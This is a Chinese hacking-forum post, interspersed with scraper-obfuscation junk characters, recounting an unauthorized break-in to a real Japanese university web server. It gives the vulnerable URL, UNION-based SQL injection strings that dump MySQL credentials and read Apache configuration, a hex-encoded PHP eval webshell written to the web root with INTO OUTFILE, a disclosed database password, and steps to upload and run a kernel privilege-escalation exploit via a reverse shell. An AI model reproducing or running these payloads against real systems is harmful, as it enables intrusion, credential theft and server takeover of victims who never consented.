中国网络渗透测试联盟

标题: 入侵日本同志社大学 [打印本页]

作者: admin    时间: 2012-11-21 13:48
标题: 入侵日本同志社大学
入侵日本同志社大学技术分析
2 I4 _8 o8 h4 @$ K& ^% x  ?+ |: G% h0 T. K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+ c' @' w. Z9 p( _
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
4 X5 q; C+ M. D( h
$ C8 Y/ b" x; \http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
% q9 o  O6 S1 N  E) y5 H3 E7 X3 }" h4 e, h9 x7 I
. G. x7 w( g/ R: J
8 J* N- M  ^3 b% R8 u/ y9 i
//@@datadir为数据库文件路径
" z: U( T6 C! b: I5 R; i 5 G/ R- {$ r) Z7 N9 G/ {7 H
0 y. k0 I2 y* o' A* Y4 t2 W# w5 M
//load_file读取网站容器apache的配置文件   b+ I5 i  v7 h6 L( z& V% ?

" i( p& m3 t/ T
7 b# h& k+ i' O* o& @. r$ T; n//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 3 Q& [1 c4 _3 Q
复制代码
, H( }  H  o1 C2 y& R* |& h4 q
1 {1 F& O# q/ Q8 P2 R/ P' k虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
; v; n9 h7 x9 w
9 ?' i! A% R# p" |1 Y; ~而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。6 Y9 l: r% A6 z; t5 k1 y
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)4 y1 ?- x( H7 Q

/ M/ F+ s) ]5 G; [5 Z& ]0 f' b前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。+ U4 U& k- G/ c1 G
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html  {! ?2 {+ I4 Z- [' U  V3 `
( f5 Q/ W& H+ ]# c2 Y5 U9 e. }; m
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
9 i$ J( N% g6 e; w& u虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。$ o+ q0 i3 `: c& A9 ^6 b7 F+ ^
直接写一句话:
; w3 P% h/ w4 s4 \- q# K  J, R
8 E4 I! L  E: v) B) R* lhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
: B! _& w' `7 k9 L! C8 f2 H$ p) I  Q- h

0 f( E8 k9 f! G* R0 O6 c0 L: i) ~8 @5 z/ X+ t! h
//最后的#是为了闭合前面的语句 8 o8 T2 s" ]3 @1 A

" B, x5 P( J! B8 v' H7 M5 `( c& T3 \& g; i% @. S4 G
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
6 s, R7 p+ W$ a; { & R4 _6 ]) r$ u5 I1 L
% e! ]( z( o  @& W0 O% x& _
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , K6 ^; H2 Z* H/ u( F# w
1 {! J8 k5 ?/ L2 r. j4 b7 I
  j  R, f# V# e( S$ [0 ]; X3 @
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 9 C% f# S4 F7 ~0 @0 t

) z7 N; f# `. W! F
! m' x' L5 h. @1 c5 y1 z9 m- [//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
7 x9 H. A' l! y- v# v. Y% Y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ' L1 x1 X7 F2 z; @. v  `7 E. ^
复制代码
4 C  W% Q( u( N" n7 U+ g" W1 q# {6 g
* `" _/ X6 A8 r& F0 UHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有  |( [' D" w+ P" g# C& M, ^  H2 I
通过上述注入语句,我们就得到了一句话木马:
" [, p( M! u& E
; C# o; E3 e8 t5 x0 J6 l
4 T2 W! c; q, N" e9 t0 h+ m! e7 o2 n9 E, ]2 g- }
' T9 r/ G2 l) d: r, V& l- x
3 ~; j* A/ c8 `' }
http://www.doshisha.ac.jp/english/engnews_img/aa.php 8 T1 x3 a$ y& g& \0 I
复制代码9 H/ k, N8 c. o/ S% Q* \
7 _6 j5 |! P4 _8 w% K3 F  l
用菜刀连接,密码是cmd,如图所示:/ S7 L) S! G" @, l
然后在命令提示行里看了一下,现在的权限是:7 ]4 o3 y; b$ Y) g" g. R/ {% s
9 Z/ t* G. S4 p0 _  ]5 @
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
' v. w! T! ]! @, ^) U- B8 ]1 {- c& Q好在赋权给这个文件夹不需要root,直接执行赋权语句:- ~( n8 G! v" `" h
% v9 F! x  o1 ]# e0 \+ }+ [
* a- I1 C8 k5 o. G4 l  ]5 B- S

. r4 t+ e, X. o, ~$ K$ t9 L3 b9 Y / X6 A" H! L/ G$ ~: l8 G

- T- |/ W2 O* {- f  s" Kchmod +x /tmp/
4 L: U2 i5 t3 _! f% U+ F" N复制代码/ t" R0 @3 E0 {2 @1 b$ g8 g

, ?4 v0 l/ m# D  l- |: f在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行5 B  y  w0 p2 h1 F) I
然后就查了一下内核版本:5 m: u1 h; |# W9 f  G" l, n# e$ X
4 D! A- Q0 `9 R; d

1 ?. [- g' z/ S7 ]1 z' T: k# E
/ B) Q! T- r, h& y) l$ Y4 o' O $ E6 H% b# L1 n+ b* \7 ^& \" C

3 s0 q# N) l6 z, `. \3 W0 F7 K( t0 auname-a
$ L& K3 P% M8 \! w) C
  ~7 e0 t! n; n. N3 {1 {) I! ?4 V) J& _: C# _6 `  d
//其实lsb_release -a # w; v3 Z0 ~" Y9 O
复制代码
; g- m% k  T4 t( n  _0 ?1 x( [$ K3 p3 V* o1 z! j6 |2 y
如图所示:
5 I. {; ?9 w* G* n% W
  V3 ~% o4 W# g+ Z: }内核版本:linux mainz1 2.6.28-194.e15
* N$ O( O' f' |系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)0 {/ b2 W& q. R) }
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹% \9 U: m% ]% p4 g6 H* R
% ^  w8 k' M5 P# O
然后给予执行权限# R. e4 B& \) Z, I8 U/ c
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
: j( l9 a3 ?, g, i$ a( M5 k4 T6 }% t

2 }& H* ]: Z2 u( |, L$ r
. H, S# E4 P" W ; n+ k% m' \) T
/ M" s( Q7 e$ Q# x9 ~% N( G
chmod +x /tmp/2.6.18-194
- X( m3 t0 q: ^# {5 k. G! C0 H! z' z复制代码 然后直接执行!~
. ~3 [$ u& E  W& t; M
2 p! X; y( P  w7 K0 l& i总结:
+ U! R$ h) v1 W+ F$ B; o9 N这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
! ]1 z; e6 B/ C  Y9 u0 H1 X+ v$ W提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
+ D1 e$ W- ]- f6 e0 V# X  p- n
/ d% P+ I9 _' S1 i7 Z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2